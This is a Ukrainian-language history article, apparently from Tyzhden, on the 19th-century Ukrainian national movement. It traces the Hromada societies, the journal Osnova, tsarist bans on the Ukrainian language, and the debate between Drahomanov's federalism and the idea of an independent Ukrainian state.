Наприкінці 1850-х років у Петербурзі засновується українське товариство «Громада», в якому найактивнішими були Микола Костомаров і Пантелеймон Куліш. Підтриманий відомими українськими жертводавцями, великими землевласниками Тарновським і Галаганом, Куліш організовує в північній російській столиці власну українську друкарню й починає видавати дешеві книж­­ки для народного читання під загальною назвою «Сільська бібліотека», де друкуються твори Шевченка, Куліша, Марка Вовчка, Квітки-Основ’я­нен­­ка, Мордовця, Ганни Барвінок, Стороженка та ін. «Грома­ди» з часом утворились у Києві, Чернігові, Полтаві, Харкові, Катеринославі та інших містах.

Петербурзька «Громада» видавала щомісячний журнал «Ос­но­­ва» (1861–1862), який відігравав роль головного загальноукраїнського друкованого органу й посів важливе місце в історії української духовності, це був перший національний суспільно-науко­вий і літературний часопис. Протягом майже двох років він суттєво впливав на літературний процес в Україні, розвиток її культури, утверджуючи в суспільній свідомості самостійність української нації та окремішність українського історичного процесу.

Читайте також: Український Південь і Схід

Діяльність «Основи» та гурту пов’язаних із нею українських діячів викликала підозру в більшості представників російського суспільства. Якщо державні чиновники імперії якийсь час не реа­гували на появу «Основи» та активізацію українського руху, то реакція російської ліберальної преси й низки представників інтелігенції була досить гострою і негативною. Причиною був успіш­­­ний розвиток українського літературного процесу та посилен­­ня його громадсько-політич­но­­го впли­­ву в різних верствах українського суспільства. Тому, якщо на початку ліберального правління Алєксандра І російські журнали досить часто друкували українські літературні твори, то невдовзі ситуація змінилась, і в російському публічному житті виникає непримириме заперечення української культури, намагання довести, що мови, культури взагалі немає, а український рух – то польська інтрига. Так, Міхаіл Катков, редактор «Московских ведомостей» і «Русского вестника», представник поміркованого російського лібералізму, намагався переконати російську громадсь­­кість, що українська мова у творах українських літераторів є повніс­­тю штучною. Він стверджував, що наміри української інтелігенції розвивати власну літературу, культуру та науку є хибними і йдуть урозріз із потребами реального життя.

Російська ліберальна інтелігенція вбачала в українській культурі загрозу своєму неподільному пануванню не лише в царині духовного життя, а й у сфері політичній. Страх, що самостійний розвиток української культури, мови й літератури може стати важливим підґрунтям для політичної окремішності українського народу, не покидав російських інтелігентів, породжував підозри щодо українського політичного сепаратизму.
Позиція багатьох представників російської інтелігенції мало чим відрізнялася від централістичної «точки государственной принудительности», за виразом Миколи Костомарова, що, зрештою, і було її власним внутрішнім переконанням, попри ліберальну фразеологію. «Я не верю в возможность образования малорусского общего литературного языка, – кроме чисто народ­­ных художественных произведений, – не вижу к этому никакой возможности, не желаю и не могу желать никаких искусственных попыток нарушить цельность общерусского развития, отклонить малороссийских художников от писания на русском языке», – писав визначний діяч слов’яно­фільського напрямку Іван Аксаков.

Позиція слов’янофілів фактично змикалася із традиційною асиміляторською політикою Російської держави. Діячі «Основи» справедливо розгледіли в ній погано прихований централістсь­кий намір не допустити розвитку нового українського руху і сформувати в суспільстві ворожість до нього.

Читайте також: Українська держава XVII–XVIII століть і виклики XXI

Як бачимо, російські слов’я­нофіли виступили спільно із централістами на кшталт Каткова, які вимагали застосування репресій до українців. Таке лицемірство було викрите Миколою Костомаровим у його статті «Правда Москвичам о Руси». «В Москве существуют люди, называющие себя славянофилами, еже ска­зует­ся славянолюбцами, то в сущности они не таковы, каковыми себя представляют, – зазначав Костомаров. – Они хотят воспитать в своем народе неприязнь против другого славянского народа… О Москва! Как в нынеш­них чадах твоих зрятся отцы и деды их!»

Важливим суспільно-культур­­ним явищем того часу стало «хлопоманство», що виникло наприкінці 1850-х років у середовищі спольщеної української шляхти Правобережної України. «Хлопомани» не поділяли думки шляхетського загалу про те, що відродження польської державності на українських землях поліпшить становище українців. Своїм громадським обов’язком вони вважали служіння народу, насамперед селянству (звідси й «хлопомани»), піднесення його культурного рівня, поширення освіти тощо. Лідером цього руху став Володимир Антонович, тоді студент Київського університету, а згодом відомий український історик. Він та його однодумці (Тадей Рильський, Кость Михальчук, Борис Познанський) вважали, що саме поширення освіти й культури, а не політична боротьба – єдиний шлях до економічного, політичного й духовного визволення народу. На думку «хлопоманів», перед польською шляхтою в Україні постала дилема: або залишатися в ролі визискувачів українського народу, гальмувати його національний розвиток, або повернутися до народності своїх предків й працювати на користь народу. Вливаючись в український рух, «хлопомани» (вчорашня шляхта) декласовувались і поповнювали собою інтелігентський прошарок. Необхідний був час, щоб правобережна шляхта усвідомила потребу зберегти себе як соціум, чий усебічний досвід мав бути долучений до українського суспільного руху. Цей новий етап повернення української шляхти до своєї ідентичності був започаткований дещо пізніше В’ячеславом Липинським.

Нова інтелігенція на чолі

У другій половині ХІХ століття керівництво українським національним рухом переходить до нової суспільної верстви – інтелігенції, що формувалася як зі шляхетської верстви, так і з «різночинного» соціуму. Нове покоління вже не ідеалізувало козацтва, як це робили кирило-мефодіївські братчики, а центр своєї уваги перемістило на народ, який, на думку інтелігенції, потребував свободи, піднесення матеріального й духовного рівня. Саме в служінні народу, який ототожнювався із селянством, українська інтелігенція вбачала своє першочергове завдання. От­­же, якщо попередня доба характеризувалася насамперед прагненням відновлення колишньої козацької державності, то доба «народницька» висувала передусім захист народних інтересів.

Від 1860-х років народництво повністю утвер­­дилося в українсь­­кому русі й поширило свої погляди на суспіль­но-гуманітарні дисциплі­­ни та літературну творчість. Народницька шко­­ла історіографії (Костомаров, Лазаревсь­кий, Антонович, згодом Грушевський) на довгі роки утвердила в українському суспільстві свій погляд на історичне минуле Украї­­ни, де домінантою були насамперед стихійні рухи народних мас, спрямовані на задоволення со­ціально-економіч­них інтересів. У дослідженнях козацької доби знецінювалась державницька діяльність старшини, інституту гетьманської влади, натомість прославлялася діяльність «чер­­ні», часом навіть відверто руїнницька. Явною недооцінкою характеризувалося бачення української державності Княжої доби та початків Новочасної історії («литовсько-руський» період).
Ліберально-народницька інтелігенція, яка вважала себе єдиним репрезентантом українсь­кого народу, рішуче виступила проти спроб традиційної української аристократичної верстви відігравати самостійну політичну роль. Вона всіляко чинила перепони залученню до українського руху як її окремих суспільних груп, так і особистостей. Як наслідок, така поведінка відштовхувала від українського руху заможних та досвідчених політично і фахово мешканців України.

Читайте також: Вулиці та площі революцій: 1917 рік

Однак поява й утвердження на суспільно-політичному обрії України народницької інтелігенції не означала ліквідації ідеологічного впливу української шляхетської верстви. Її представники та нащадки козацької старши­­ни, долучившись до украї­нського національного відродження, накинули українському руху традиційні автономістсько-федераліст­­­­­­­ські погляди на державний устрій у контексті перспектив взаємин із Росією. Ці погляди української шлях­­ти, доповнені ідеями західного лібералізму та суспі­ль­­но-політичними концепціями Ки­рило-Мефо­діївського братства, і стали центральними в ідеології українського народництва. Остан­­нє тривалий час було визначальним в українсь­кому русі й характеризувалося непослідовністю та половинчастістю в підході до досягнення головної мети нації – здобуття державної незалежності.

Певний час царський уряд не застосовував репресій до українського суспільного руху, який у цей час переслідував в основному культурно-освіт­­ні цілі. Проте польське повстання 1863 року змінило ситуацію. Лозунг радикальних шляхетських кіл «За вашу і нашу свободу!», агітація серед українського селянства на підтримку повстання викликали безпідставну підозру в російського уряду щодо ймовірності сепаратизму в українському національному русі. Ця підозра підігрівалася російськими шовіністичними колами, які вважа­­­ли, що розвиток українського культур­­но-національного руху призведе до відокремлення України від Росії і зрештою до краху імперії. Згаданий уже Катков, а за ним і російська проурядова преса намагалися переконати російське суспільство, що український рух є результатом польської інтриги і що уряд слідом за польським має чекати й українське повстання.

Розпочалася кампанія проти українського руху, шкіл з українською мовою та української літератури. За розпорядженням царя в Україну був відправлений флігель-ад’ютант Мєзєнцев для розслідування «развившейся там малороссийской пропаганды».

У 1863 році з’явився циркуляр міністра внутрішніх справ Валуєва, який забороняв друкувати навчальні, а також популярні та релігійні книжки українською мовою. У листі до міністра народної освіти він писав: «Никакого отдельного малороссийского язы­ка нет и быть не может». Російський царизм переслідував не лише спроби поширення ідей про право на політичне самовизначення України, а й українську культуру, українське слово, театр, школу тощо.

18 травня 1876 року Алєксандр II, перебуваючи в німецькому місті Емс, доповнив політику репресій проти українства так званим Емським актом, який мав форму таємної інструкції. Імператор забороняв увозити з-за кордону книги українською мовою, друкувати оригінальні тво­­ри, переклади й навіть тексти до нот українською мовою, а також влаштовувати сценічні вистави та публічні читання.

Драгоманов і «драгомановщина»
Однак повністю приборкати украї­­нський рух уже було неможливо. Його новий етап був пов’я­­заний із діяльністю Михайла Драгоманова. Виступаючи проти російського поліцейсько-само­держав­ного централізму, він висував програму еволюційного соціаліз­­му, спираючись головним чином на ідеї Прудона. Його політичним ідеалом стає федералістська перебудова суспільства: вільні громади об’єднувались у федерацію в межах України, далі – створювали федеративну спільноту народів Росії, потім – слов’янську федерацію і, нарешті, федерацію народів світу.

Однак у колі київської «Громади» політична діяльність Драгоманова викликала вороже ставлення до його пропаганди соціалістичних ідей і призвела до загострення суперечностей у середовищі «громадян» та появи у ній радикального крила. Зрештою після спроб порозуміння з поміркованими лідерами «Громади» у 1886 році Драгоманов розірвав із нею контакти – починається надзвичайно важливий етап його діяльності за кордоном.

Значення Михайла Драгоманова як політичного діяча полягає в тому, що він уніс у національне відродження усвідомлення потреби переходу до методів політичної боротьби, виходу за межі аполітичного культурництва, яке досі в ньому домінувало.

Крім того, надзвичайно важливу роль для українського руху мала діяльність Драгоманова щодо ознайомлення Європи з українською проблемою. Ще під час свого наукового відрядження за кордон він розпочав інформування західноєвропейської громадськості про українську літературу (1873). З його масштабних праць у цій царині слід вказати на участь у фундаментальному виданні Елізе Реклю Nouvelle Geographie Universelle, де у п’ято­­му томі науковий світ одержав розмаїту наукову інформацію про Україну.

Проте політична позиція Михайла Драгоманова так і не дала можливості молодому українському політикуму вирватися з цупких обіймів російського централізму. Вона не лише стала серйозною перешкодою на шляху творення самостійницьких українських політичних течій та організацій, а й, зрештою, затуманювала головну перспективу – необхідність послідовної боротьби за самостійну Українську державу. Концепція традиційного українського автономізму, поєднавшись завдяки Драгоманову з новітнім західноєвропейським федералізмом, на довгі роки лягла в основу політичної програми українсь­кого руху – з усіма наслідками в часи Визвольних змагань.

Читайте також: Ціна незалежності. Як Україна боролася з агресією більшовиків

Після вбивства Алєксандра II (1881) та посилення реакції для українського руху настали ще тяжчі часи. «Громади» частково припинили свою діяльність, а ті, що залишилися, вважали за доцільне здійснювати лише суто культурницьку й наукову аполітичну роботу, необхідну для обґрунтування окремішності українців серед інших народів.

Члени київської «Громади» беруть активну участь у роботі різного роду наукових товариств, зокрема Історичного товариства імені Нестора-Літописця, гуртуються навколо журналу «Киевская старина», заснованого з ініціативи Олександра Лазаревсь­кого та Володимира Антоновича й за підтримки українських меценатів – цукрозаводчика Василя Симиренка та дідича Василя Тарновського. У журналі публікувалися наукові праці з історії, етнографії, археології, літературознавства, художні твори, історичні документи. Тут друкувалися Дмитро Багалій, Орест Левицький, Михайло Грушевський, Михайло Драгоманов, Олександра Єфименко, Олександр Лазаревський, Іван Франко, Панас Мирний, Михайло Коцюбинський та ін. Крім того, українська наукова праця російською мовою здійснювалась у низці офіційних товариств Харкова, Одеси та інших міст.

Драгоманов намагався переконати українських діячів зосередити свої зусилля на демократизації і федералізації Російської та Австро-Угорської імперій, що, на його думку, створило б умови для вільного національного розвитку українців. На думку Фран­­ка, Драгоманов як політик назав­жди залишився тим, ким він був, виїжджаючи з Росії: gente Ukrai­nus, natione Russus, який не міг собі уявити Україну «без близького зв’язку з Росією». Для Михайла Драгоманова ідеї федералізму стояли в одному ряду з європейськими ідеалами соціальної рівності й політичної волі, які затуляли собою ідею національної самостійності. Така позиція вплинула на погляди цілих поколінь учасників українського руху, які на довгий час опинились у полоні драгомановського бачення національної проблеми й були позбавлені перспективи боротьби за національне визволення. «Не маючи в душі цього національного ідеалу, – зазначав Франко, – найкращі українські сили тонули в общеросійськім морі, а ті, що лишилися на своєму ґрунті, попадали в зневіру й апатію. Для нас тепер не підлягає сумнівові, що брак віри в національний ідеал, продуманий до крайніх консеквенцій також на політичному полі, був головною трагедією в життю Драгоманова, був причиною безнадійности його політичних змагань…».

Бачення автономної України в системі федеративної Російсь­кої держави було перейняте українськими соціалістичними та ліберальними партіями, від чого вони не відмовились остаточно навіть у ході національно-виз­вольних змагань 1917–1921 років. Це стало фатальною перешкодою на шляху усвідомлення українським суспільством необхідності власної незалежної держави.

Соціальне чи національне?

Примат соціальних завдань перед національними (байдуже, в ін­те­ре­сах вищих верств суспільства чи його низів) так чи інакше призводив в українському русі до втрати оптимальних політичних орієнтирів, породжував соціаль­­ну дисгармонію, неспроможність досягнути консолідації, такої необхідної для національного визволення. Лише усвідомлення суспільством потреби державної незалежності, зрештою, давало ключ до вирішення й найважливіших соціальних проблем.

Потрібна була «справжня революція супроти народницького світогляду», як зазначав В’ячес­лав Липинський, щоб вивести український рух із глухого кута автономістсько-федеративних уявлень про перспективу майбутніх відносин між Україною і Росією. «Тільки величезним моральним зусиллям, – писав він у листі до Андрія Лівицького 16 жовтня 1919 року, – тільки безмежною любов’ю до української національної ідеї і до державної як політичного олицетворення повної національної волі, тільки об’єднанням абсолютно всіх чесних національних сил коло внутрішньої праці для цієї ідеї можна буде з 40 мільйонів темних самоїдствуючих невільників виховати героїв, котрі збудують Україну, а в ній краще для всіх – людське життя».

Тривала відсутність у діяльності української еліти, яка акцептувала соціалістичну ідеологію, чіткої орієнтації на державну самостійність України не могла, однак, перешкодити витворенню потужного національно-культур­ного потенціалу, необхідного як підґрунтя національно-визволь­ної боротьби. Створенням такого потенціалу і було заповнене українське ХІХ століття.
Відпорність значної частини «верхів» українського суспільства, а також широких верств селянства до російського асиміляційного тиску, зрештою, і спричинила появу самостійницьких течій в українському політикумі.
У 1895 році один із діячів Української радикальної партії Юліан Бачинський опублікував брошуру Ukraina irredenta, яка стала маніфестом українського державного самостійництва. Про те, що ця ідея вже виразно визріла в суспільстві, свідчила її оцінка у 1895 році Іваном Франком: «…як факт нашого політичного життя, як прояв національного почуття і національної свідомості». Він зазначив, що відчутна «потреба політичної самостійності України» «ввійде на порядок дня політичного життя Європи і не зійде з нього, поки не здійсниться».

До цих ідей політичної самостійності, які знаходимо у працях галицьких політиків, долучилася державницька концепція Миколи Міхновського, викладена ним у 1900 році в брошурі «Самостійна Україна». Таким чином, по обидва боки Збруча ідея української самостійності почала реально викристалізовуватись у виразну політичну програму.

І все ж таки незалежність!

З усвідомленням необхідності самостійної Української держави посилювалося розуміння того, що Україна має розвинути класово диференційовану структуру як передумову оптимального національного й державного існування. Повнокровний національний розвиток мав усунути соціальну деструкцію, породжену національним гнобленням. Саме в цій площині лежала критика Іваном Франком беззастережного «народолюбства» Михайла Драгоманова, яку доповнювали перехід Великого Каменяра на самостійницькі позиції та відхід від марксистської ідеології.

Обмежений погляд Драгоманова на місце й роль основних класів суспільства, його «мужико­фільство», за висловом Франка, зумовило «і в чисто культурних та освітніх справах занадто вузьке розуміння нації як плебса, не позволяло йому ставити діло національного розвитку так широко, як воно ставиться у нас нині».

Щоб подолати такий спрощений погляд на український со­ці­ум, потрібно було досягнути більш високого рівня соціально-політичного й національного самоусвідомлення серед вищих прошарків суспільства українсь­кого походження, які доти стояли на російському або польському національно-державному ґрунті.

Упродовж усього ХІХ століття українська аристократична верства переживала складний і неод­нозначний процес національно­­го пробудження по обидва боки Збруча. Підтвердженням цього були, зокрема, зміни в суспільно-національній свідомості й політичній орієнтації представників давніх українських шляхетсько-магнатських родин Пузин, Сангушків, Сапіг, Шумлянських, Шептицьких, Федоровичів та інших у Галичині. У Великий Україні відповідну еволюцію пережили Галагани, Тарновські, Милорадовичі, Кочубеї, Тишкевичі, Скоропадські, Ханенки, Лизогуби та ін. Попри монопольні позиції ліберальної демократії та соціалістичних течій в українському русі ця еволюція суспільної свідомості шляхетсько-дво­рян­­ського стану продемонструвала прагнення до врівноваження ціннісних ідеологічних та політичних орієнтацій в українському русі й подолання недорозвиненості в українському русі правого консервативного крила.

Соціальний радикалізм більшості учасників українського руху відштовхував консервативно налаштовану українську шляхту, частина якої навіть опинилась у російських монархічних організаціях і партіях. Однак цей ухил шляхти не був остаточним, швид­­ше це крок, спрямований на самозбереження й захист своїх соціально-економічних інтересів. Консервативні сили, які не декласувалися, відійшли від українського ліберально-радикального руху, однак не втратили свого національного інстинкту, який виразно проявився після лютого 1917 року. Їхня спроба реалізації в 1918 році традиційної національної державності була ланкою загальноєвропейського процесу консервативної революції, реакцією на торжество породженого ХІХ століттям лібералізму, прибраного в новітні демократичні шати після завершення Першої світової війни.

http://tyzhden.ua/History/114781